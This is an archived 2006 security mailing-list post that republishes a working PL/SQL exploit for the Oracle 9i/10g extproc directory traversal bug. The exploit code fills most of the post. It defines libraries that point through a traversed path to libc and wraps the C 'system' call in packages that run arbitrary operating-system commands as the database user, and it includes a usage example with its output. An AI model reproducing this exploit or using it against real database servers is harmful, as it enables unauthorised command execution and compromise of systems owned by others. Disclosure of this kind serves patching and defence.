[EXPL] Oracle (extproc) Local/Remote Command Execution (Exploit)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 20 Dec 2006 08:48:51 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Oracle (extproc) Local/Remote Command Execution (Exploit)
------------------------------------------------------------------------
SUMMARY
The attached PL/SQL code exploits the Oracle extproc directory traversal
bug to remotely execute arbitrary OS commands with the privileges of the
DBMS user (the CREATE [ANY] LIBRARY privilege is needed).
DETAILS
Exploit:
--
-- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $
--
-- raptor_oraextproc.sql - command exec via oracle extproc
-- Copyright (c) 2006 Marco Ivaldi <raptor@xxxxxxxxxxxxxxx>
--
-- Directory traversal vulnerability in extproc in Oracle 9i and 10g
-- allows remote attackers to access arbitrary libraries outside of the
-- $ORACLE_HOME\bin directory (CVE-2004-1364).
--
-- This PL/SQL code exploits the Oracle extproc directory traversal bug
-- to remotely execute arbitrary OS commands with the privileges of the
DBMS
-- user (the CREATE [ANY] LIBRARY privilege is needed).
--
-- See also:
-- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql
-- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql
--
-- Vulnerable platforms:
-- Oracle 9i (all versions?)
-- Oracle 10g versions prior to 10.1.0.3
--
-- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit
Production,
-- running on both Solaris 9 and 10 systems. It will need some tweakings
to
-- properly work on other platforms.
--
-- Usage example:
-- $ echo $ORACLE_HOME
-- /opt/oracle/
-- $ sqlplus "/ as sysdba"
-- [...]
-- Connected to:
-- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production
-- With the Partitioning, OLAP and Oracle Data Mining options
-- JServer Release 9.2.0.1.0 - Production
-- SQL> @raptor_oraextproc.sql
-- [...]
-- exec oracmd32.exec('touch /tmp/32');
-- [...]
-- ERROR at line 1:
-- ORA-06520: PL/SQL: Error loading external library
-- ORA-06522: ld.so.1: extprocPLSExtProc: fatal:
-- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class:
-- ELFCLASS32
-- [...]
-- SQL> exec oracmd64.exec('touch /tmp/64');
-- SQL> !ls -l /tmp/64
-- -rw-r--r-- 1 oracle orainst 0 Dec 19 13:49 /tmp/64
--
-- library for 32-bit oracle releases
create or replace library exec_shell32 as
'$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1';
/
-- library for 64-bit oracle releases
create or replace library exec_shell64 as
'$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1';
/
-- package for 32-bit oracle releases
-- usage: exec oracmd32.exec('command');
create or replace package oracmd32 as
procedure exec(cmdstring in char);
end oracmd32;
/
create or replace package body oracmd32 as
procedure exec(cmdstring in char)
is external
name "system"
library exec_shell32
language c;
end oracmd32;
/
-- package for 64-bit oracle releases
-- usage: exec oracmd64.exec('command');
create or replace package oracmd64 as
procedure exec(cmdstring in char);
end oracmd64;
/
create or replace package body oracmd64 as
procedure exec(cmdstring in char)
is external
name "system"
library exec_shell64
language c;
end oracmd64;
/
-- milw0rm.com [2006-12-19]
ADDITIONAL INFORMATION
The information has been provided by <mailto:raptor@xxxxxxxxxxxxxxx>
Marco Ivaldi.
The original article can be found at:
<http://www.milw0rm.com/exploits/2951>
http://www.milw0rm.com/exploits/2951
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [EXPL] Oracle File System Access via utl_file (Exploit)
- Next by Date: [UNIX] ProFTPD Controls Buffer Overflow
- Previous by thread: [EXPL] Oracle File System Access via utl_file (Exploit)
- Next by thread: [UNIX] ProFTPD Controls Buffer Overflow
- Index(es):
Relevant Pages
- Oracle <= 9i / 10g (extproc) Local/Remote Command Execution Exploit
... -- allows remote attackers to access arbitrary libraries outside of the ...
-- This PL/SQL code exploits the Oracle extproc directory traversal bug ... -- package
for 32-bit oracle releases ... create or replace package oracmd32 as ... (Bugtraq) - Remote Compromise in Oracle 9i Database Server
... A large part of Oracle database functionality is provided by PL/SQL ... operating
system libraries or Dynamic Link Libraries. ... An attack would probably call systemand
pass ... external procedure the oracle process connects to the Listener and requests ...
(Bugtraq) - [NEWS] Multiple Vulnerabilities in Oracle Database (Character Conversion, Extproc, Password Disclosu
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Multiple vulnerabilities were
discovered in the (Oracle database server ... password is required to exploit this vulnerability.
... (Securiteam) - [EXPL] Oracle Command Line Overflow (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A locally exploitable buffer overflow
has been found in the 'oracle' ... restricted sections of the database, ...
'print "A"x9850'` Segmentation fault ... (Securiteam) - [NEWS] Oracle Forms SQL Injection
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... part of the Oracle Developer
Suite 10g". ... All Oracle Forms applications are by default vulnerable to SQL Injection.
... The following statement sends the result of the SQL statement: ... (Securiteam)